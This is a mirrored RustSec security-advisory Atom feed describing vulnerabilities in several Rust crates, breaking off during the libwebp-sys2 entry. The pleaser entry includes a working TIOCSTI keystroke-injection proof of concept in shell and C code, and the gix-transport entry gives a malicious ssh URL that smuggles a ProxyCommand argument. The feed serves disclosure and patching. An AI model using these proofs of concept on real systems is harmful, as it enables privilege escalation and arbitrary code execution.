mirror of
https://github.com/rustsec/advisory-db.git
synced 2026-11-30 17:04:32 -06:00
1556 lines
49 KiB
XML
1556 lines
49 KiB
XML
<?xml version="1.0"?>
|
|
<feed xmlns="http://www.w3.org/2005/Atom"><title>RustSec Advisories</title><id>https://rustsec.org/feed.xml</id><updated>2023-10-03T12:00:00+00:00</updated><author><name>RustSec</name></author><icon>https://rustsec.org/favicon.ico</icon><link href="https://rustsec.org/feed.xml" rel="self" type="application/atom+xml"/><link href="https://rustsec.org/" rel="alternate" type="text/html"/><subtitle xml:lang="en">Security advisories filed against Rust crates</subtitle><entry><title>RUSTSEC-2023-0066: Vulnerability in pleaser</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0066.html</id><updated>2023-10-03T12:00:00+00:00</updated><category term="privilege-escalation"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0066.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0066: Vulnerability in pleaser"/><published>2023-10-03T12:00:00+00:00</published><summary xml:lang="en">Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/pleaser/RUSTSEC-2023-0066.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/pleaser/RUSTSEC-2023-0066.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0066">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0066
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-04-29">
|
|
April 29, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-10-03">
|
|
October 3, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/pleaser.html">pleaser</a>
|
|
(<a href="https://crates.io/crates/pleaser">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/privilege-escalation.html">privilege-escalation</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://gitlab.com/edneville/please/-/issues/13">
|
|
https://gitlab.com/edneville/please/-/issues/13
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>4.6 <span class="tag medium">
|
|
MEDIUM
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Local</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>Required</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Changed</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>None</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
no patched versions
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>please is vulnerable to privilege escalation using ioctls TIOCSTI
|
|
and TIOCLINUX on systems where they are not disabled.</p>
|
|
<p>Here is how to see it in action:</p>
|
|
<pre><code>$ cd &quot;$(mktemp -d)&quot;
|
|
$ git clone --depth 1 https://gitlab.com/edneville/please.git
|
|
$ cd please/
|
|
$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9
|
|
$ cargo test &amp;&amp; cargo build --release
|
|
$ echo &quot;[${USER}_as_nobody]&quot;$'\nname='&quot;${USER}&quot;$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
|
|
$ sudo chown root:root ./target/release/please
|
|
$ sudo chmod u+s ./target/release/please
|
|
$ cat &lt;&lt;TIOCSTI_C_EOF | tee TIOCSTI.c
|
|
#include &lt;sys/ioctl.h&gt;
|
|
|
|
int main(void) {
|
|
const char *text = &quot;id\n&quot;;
|
|
while (*text)
|
|
ioctl(0, TIOCSTI, text++);
|
|
return 0;
|
|
}
|
|
TIOCSTI_C_EOF
|
|
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
|
|
$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody
|
|
</code></pre>
|
|
<p>Please note that:</p>
|
|
<p>This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0065: Vulnerability in tungstenite</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0065.html</id><updated>2023-09-29T12:00:00+00:00</updated><category term="denial-of-service"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0065.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0065: Vulnerability in tungstenite"/><published>2023-09-29T12:00:00+00:00</published><summary xml:lang="en">Tungstenite allows remote attackers to cause a denial of service</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/tungstenite/RUSTSEC-2023-0065.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/tungstenite/RUSTSEC-2023-0065.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0065">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0065
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Tungstenite allows remote attackers to cause a denial of service</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-25">
|
|
September 25, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-29">
|
|
September 29, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/tungstenite.html">tungstenite</a>
|
|
(<a href="https://crates.io/crates/tungstenite">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/denial-of-service.html">denial-of-service</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43669">CVE-2023-43669</a>
|
|
|
|
</li>
|
|
|
|
<li>
|
|
|
|
<a href="https://github.com/advisories/GHSA-9mcr-873m-xcxp">GHSA-9mcr-873m-xcxp</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/snapview/tungstenite-rs/issues/376">
|
|
https://github.com/snapview/tungstenite-rs/issues/376
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>7.5 <span class="tag high">
|
|
HIGH
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Network</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>High</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.20.1</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>The Tungstenite crate through 0.20.0 for Rust allows remote attackers to cause
|
|
a denial of service (minutes of CPU consumption) via an excessive length of an
|
|
HTTP header in a client handshake. The length affects both how many times a parse
|
|
is attempted (e.g., thousands of times) and the average amount of data for each
|
|
parse attempt (e.g., millions of bytes).</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0064: Vulnerability in gix-transport</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0064.html</id><updated>2023-09-25T12:00:00+00:00</updated><category term="code-execution"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0064.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0064: Vulnerability in gix-transport"/><published>2023-09-25T12:00:00+00:00</published><summary xml:lang="en">gix-transport code execution vulnerability</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/gix-transport/RUSTSEC-2023-0064.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/gix-transport/RUSTSEC-2023-0064.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0064">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0064
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>gix-transport code execution vulnerability</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-23">
|
|
September 23, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-25">
|
|
September 25, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/gix-transport.html">gix-transport</a>
|
|
(<a href="https://crates.io/crates/gix-transport">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/code-execution.html">code-execution</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/Byron/gitoxide/pull/1032">
|
|
https://github.com/Byron/gitoxide/pull/1032
|
|
</a>
|
|
</li>
|
|
|
|
|
|
<li>
|
|
<a href="https://secure.phabricator.com/T12961">
|
|
https://secure.phabricator.com/T12961
|
|
</a>
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.36.1</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>The <code>gix-transport</code> crate prior to the patched version 0.36.1 would allow attackers to
|
|
use malicious ssh clone URLs to pass arbitrary arguments to the <code>ssh</code> program, leading
|
|
to arbitrary code execution.</p>
|
|
<p>PoC: <code>gix clone 'ssh://-oProxyCommand=open$IFS-aCalculator/foo'</code></p>
|
|
<p>This will launch a calculator on OSX.</p>
|
|
<p>See https://secure.phabricator.com/T12961 for more details on similar vulnerabilities in <code>git</code>.</p>
|
|
<p>Thanks for <a href="https://github.com/vin01">vin01</a> for disclosing the issue.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0063: Vulnerability in quinn-proto</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0063.html</id><updated>2023-09-21T12:00:00+00:00</updated><category term="denial-of-service"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0063.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0063: Vulnerability in quinn-proto"/><published>2023-09-21T12:00:00+00:00</published><summary xml:lang="en">Denial of service in Quinn servers</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/quinn-proto/RUSTSEC-2023-0063.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/quinn-proto/RUSTSEC-2023-0063.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0063">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0063
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Denial of service in Quinn servers</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-21">
|
|
September 21, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-21">
|
|
September 21, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/quinn-proto.html">quinn-proto</a>
|
|
(<a href="https://crates.io/crates/quinn-proto">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/denial-of-service.html">denial-of-service</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/panic.html">#panic</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://github.com/advisories/GHSA-q8wc-j5m9-27w3">GHSA-q8wc-j5m9-27w3</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/quinn-rs/quinn/pull/1667">
|
|
https://github.com/quinn-rs/quinn/pull/1667
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>7.5 <span class="tag high">
|
|
HIGH
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Network</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>High</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>^0.9.5</code></li>
|
|
|
|
<li><code>&gt;=0.10.5</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Receiving QUIC frames containing a frame with unknown frame type could lead to a panic.
|
|
Unfortunately this is issue was not found by our fuzzing infrastructure.</p>
|
|
<p>Thanks to the QUIC Tester research group for reporting this issue.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0062: Vulnerability in bcder</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0062.html</id><updated>2023-09-13T12:00:00+00:00</updated><category term="denial-of-service"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0062.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0062: Vulnerability in bcder"/><published>2023-09-13T12:00:00+00:00</published><summary xml:lang="en">BER/CER/DER decoder panics on invalid input</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/bcder/RUSTSEC-2023-0062.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/bcder/RUSTSEC-2023-0062.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0062">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0062
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>BER/CER/DER decoder panics on invalid input</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-13">
|
|
September 13, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-13">
|
|
September 13, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/bcder.html">bcder</a>
|
|
(<a href="https://crates.io/crates/bcder">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/denial-of-service.html">denial-of-service</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/example.html">#example</a>
|
|
|
|
<a href="/keywords/freeform.html">#freeform</a>
|
|
|
|
<a href="/keywords/keywords.html">#keywords</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39914">CVE-2023-39914</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://nlnetlabs.nl/downloads/bcder/CVE-2023-39914.txt">
|
|
https://nlnetlabs.nl/downloads/bcder/CVE-2023-39914.txt
|
|
</a>
|
|
</li>
|
|
|
|
|
|
<li>
|
|
<a href="https://github.com/NLnetLabs/bcder/pull/74">
|
|
https://github.com/NLnetLabs/bcder/pull/74
|
|
</a>
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>7.5 <span class="tag high">
|
|
HIGH
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Network</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>High</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.7.3</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Due to insufficient checking of input data, decoding certain data sequences
|
|
can lead to <em>bcder</em> panicking rather than returning an error. This can affect
|
|
both the actual decoding stage as well as accessing content of types that
|
|
utilized delayed decoding.</p>
|
|
<p>bcder 0.7.3 fixes these issues by more thoroughly checking inputs and
|
|
returning errors as expected.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0061: Vulnerability in libwebp-sys</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0061.html</id><updated>2023-09-26T12:00:00+00:00</updated><category term="memory-corruption"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0061.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0061: Vulnerability in libwebp-sys"/><published>2023-09-13T12:00:00+00:00</published><summary xml:lang="en">libwebp: OOB write in BuildHuffmanTable</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/libwebp-sys/RUSTSEC-2023-0061.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/libwebp-sys/RUSTSEC-2023-0061.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0061">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0061
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>libwebp: OOB write in BuildHuffmanTable</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-12">
|
|
September 12, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-13">
|
|
September 13, 2023
|
|
</time>
|
|
|
|
<time datetime="2023-09-26">
|
|
(last modified: September 26, 2023)
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/libwebp-sys.html">libwebp-sys</a>
|
|
(<a href="https://crates.io/crates/libwebp-sys">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/memory-corruption.html">memory-corruption</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/webp.html">#webp</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5129">CVE-2023-5129</a>
|
|
|
|
</li>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4863">CVE-2023-4863</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.9.3</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p><a href="https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html">Google</a> and <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2023-40/">Mozilla</a> have released security advisories for RCE due to heap overflow in libwebp. Google warns the vulnerability has been exploited in the wild.</p>
|
|
<p>libwebp needs to be updated to 1.3.2 to include a patch for &quot;OOB write in BuildHuffmanTable&quot;.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0060: Vulnerability in libwebp-sys2</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0060.html</id><updated>2023-09-26T12:00:00+00:00</updated><category term="memory-corruption"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0060.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0060: Vulnerability in libwebp-sys2"/><published>2023-09-13T12:00:00+00:00</published><summary xml:lang="en">libwebp: OOB write in BuildHuffmanTable</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/libwebp-sys2/RUSTSEC-2023-0060.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/libwebp-sys2/RUSTSEC-2023-0060.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0060">JSON (OSV)</a>
|
|
</span>
|
|
|
